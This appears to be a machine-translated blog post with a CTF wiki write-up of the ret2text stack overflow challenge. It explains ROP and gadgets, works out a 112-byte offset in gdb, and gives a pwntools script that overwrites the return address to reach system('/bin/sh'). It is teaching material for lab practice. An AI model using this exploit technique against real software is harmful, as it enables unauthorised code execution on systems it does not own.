当前位置:网站首页>Learn PWN from CTF wiki - ret2text
Learn PWN from CTF wiki - ret2text
2022-06-24 00:00:00 【Big Ruida】
Say something
The kidney is called never quitting , Is to be angry to death 10000 times a day , I don't quit …( Cry
Basic knowledge
ROP
Return Oriented Programming, The main idea is that Stack buffer overflow based on , Take advantage of the small pieces already in the program (gadgets) To change the values of some registers or variables , So as to control the execution process of the program .
General stack structure :
High address +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
Low address esp-->+-----------------+
Gadgets
With ret Ending instruction sequence , Through these instruction sequences , We can modify the contents of some addresses , It is convenient to control the execution process of the program .
ROP An attack usually has to satisfy the following conditions
There is an overflow in the program , And you can control the return address .
You can find something that meets the conditions gadgets And the corresponding gadgets The address of .
If gadgets Every time the address is not fixed , Then we need to find a way to dynamically obtain the corresponding address .
every last gadgets Both contain ret It is to enable the program to automatically and continuously select the instructions in the stack to execute in turn
ret The instruction can be understood as taking the data at the top of the stack as the position of the next jump . namely ,
eip = [esp];
esp = esp+4;
ret modify eip and esp Value
Or simply understood as : pop eip; (pop The instruction will be appended with esp The movement of the , It means to take the data at the top of the stack as the next jump position ) And then execute jump
by comparison ,call The order is :push eip;( here eip by call The address of the next instruction of the instruction , It means that call The next instruction address of the instruction is pushed onto the stack ) then jump
The following instructions are usually executed when the function returns
mov esp ,ebp
pop ebp These two instructions make ebp , esp Point to the original stack , here esp Point to return address
ret send eip Change to return address , then jmp
ret2text
principle
ret2text That is, the control program executes the existing code of the program itself (.text). in other words , In the ELF Of .text There is code available in the code segment , If it exists system(“/bin/sh”) Code for .
ret2text
checksec see :
no canary= You can simply stack overflow

ida see :
You can enter 100 Bytes
gdb debugging :
gdb ret2text
disas main
b *0x80486ae

r

lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# You can know that the starting address of the string is different from esp by +0x1c
Review the relationship between stack and address
So distance ebp The address is 0x88-0x1c = 0x6B
Then the return address is overwritten :
+-----------------+
| /bin/sh | primary ret Return to position
+-----------------+
| holk | primary saved ebp Location (4 byte )
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s start ,ebp-0x6B-->+-----------------+
0x6B+4 = 112( Decimal system ) Bytes .
You know the number of overflow characters , Next look for system(/bin/sh)

Stack overflow problem , With the overflow character amount , With system(/bin/sh) That is to complete the topic
structure payload
from pwn import *
sh = process('./ret2text')
shell = 0x0804863A
payload = 'a'*112 + p32(shell) #112 Bytes fill the stack space to ret+shell_add
sh.sendline(payload)
sh.interactive()
边栏推荐
- SAVE: 软件分析验证和测试平台
- 工作中一些常用的工具函數
- 节流和防抖
- 合成大西瓜小游戏微信小程序源码/微信游戏小程序源码
- Detailed explanation of index invalidation caused by MySQL
- Tupu software intelligent wind power: operation and maintenance of digital twin 3D wind turbine intelligent equipment
- extern、struct等关键字
- return、const、volatile关键字
- GBASE观察:扩展分析型数据库
- Batch renaming of images by MATLAB
猜你喜欢

不容错过 | 华为内部资料--成功的项目管理PPT(123页)

Niuke.com: the double pointer problem of receiving rainwater

Leetcode - linked list written test questions

云原生架构(05)-应用架构演进

High imitation Betta app

Digital property management has become a trend. How can traditional property companies achieve digital butterfly change through transformation?
![Restore IP address [standard backtracking + standard pruning]](/img/e6/5f9d2a5af973b6c7051ed434a4b93d.png)
Restore IP address [standard backtracking + standard pruning]

物联网卡设备接入EasyCVR,如何查看拉流IP以及拉流时间?

docker redis集群配置

AI技术在医学领域有什么用?
随机推荐
[technical grass planting] use the shared image function to realize the offline switching from CVM to LH
String s = new String(“xyz“) 创建了几个字符串对象?
return、const、volatile关键字
Batch renaming of images by MATLAB
Cross domain issues of the new version of Google browser
Different objects use the same material and have different performances
Startup process analysis of APP performance optimization
WPF效果之Expander+ListBox
Tiktok practice ~ password retrieval
【面试经验包】面试被吊打经验总结(一)
抖音实战~密码找回
Differences between broadcastreceiver and localbroadcastmanager
Docker redis cluster configuration
量化投资模型——高频交易做市模型相关(Avellaneda & Stoikov’s)研究解读&代码资源
【Bug】C# IQueryable里的元素更改不了值
如何保证高速公路供电可靠
Idea automatically generates unit tests, doubling efficiency!
List<? extends T>和List<?super T>区别
依赖倒置原则
EasyCVR程序以服务启动异常,进程启动却正常,是什么原因?